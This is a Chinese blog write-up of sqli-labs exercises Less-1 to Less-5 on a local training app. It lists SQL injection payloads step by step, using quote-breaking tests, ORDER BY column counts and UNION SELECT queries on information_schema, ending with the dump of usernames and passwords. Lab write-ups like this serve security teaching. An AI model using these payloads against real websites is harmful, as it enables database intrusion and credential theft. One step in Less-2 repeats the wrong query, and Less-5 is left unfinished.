SQL-LAB闯关Less1-5

less-1 基于错误的单引号字符串

- 正常访问
http://127.0.0.1/sqli-labs/Less-1/?id=1

1. 判断是否存在注入,注入是字符型还是数字型
- 添加 ' 
	返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your     MySQL  server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
- 添加 ' --+
	不报错
	
2. 猜解SQL查询语句中的字段数
- 使用 1' order by 3 --+
	得到列数为3

3. 确定显示的字段顺序
- 使用union 获取admin和password
	-1 的作用是查询不存在的值,使得结果为空
	-1 ' union select 1,2,3 --+   // 确定可以显示到页面的位置

4. 获取当前数据库
	-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ // 得到数据库名 或 通过database() 获取数据库名

5. 获取数据库中的表
	-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'  --+

6. 获取表中的字段名
	-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

7. 获取用户数据
	-1 ' union select 1,2,group_concat(username,"  ",password) from users --+

Less-2 基于错误的get整型注入

- 正常访问 
	http://127.0.0.1/sqli-labs/Less-2/?id=1
	
1. 判断是否存在注入,注入是字符型还是数字型
	- http://127.0.0.1/sqli-labs/Less-2/?id=1'  报错
	- http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1 不报错
	- http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 无返回结果
	数字型注入
	
2. 猜解SQL查询语句中的字段数
	http://127.0.0.1/sqli-labs/Less-2/?id=1%20order by 3  页面正常
	http://127.0.0.1/sqli-labs/Less-2/?id=1%20order by 4  页面报错
	列数为3

3. 确定显示的字段顺序
	http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3
	显示的是2,3列
4. 获取当前数据库
	http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata// 得到数据库名 或 通过database() 获取数据库名

5. 获取数据库中的表
	http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

6. 获取表中的字段名
	http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'

7. 获取用户数据
	http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(username,"  ",password) from users

Less-3 基于错误的get单引号变形字符型注入

- 正常访问
	http://127.0.0.1/sqli-labs/Less-3/?id=1

- 绕过
	id=1') --+
	
- 获取数据
	-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
	-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
	-1') union select 1,2,group_concat(username," ",password) from users --+

Less-4 基于错误的GET双引号字符型注入

- 正常访问
	http://127.0.0.1/sqli-labs/Less-4/?id=1

- 绕过
	id=2") or 1=1 --+
- 获取数据
	-1") union select 1,2,database()  --+
	-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database()  --+
	-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'  --+
	-1") union select 1,2,group_concat(username," ",password) from users  --+

Less-5 双注入GET单引号字符型注入

- 正常访问
	http://127.0.0.1/sqli-labs/Less-5/?id=1

- 绕过
	id=2") or 1=1 --+
- 获取数据

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值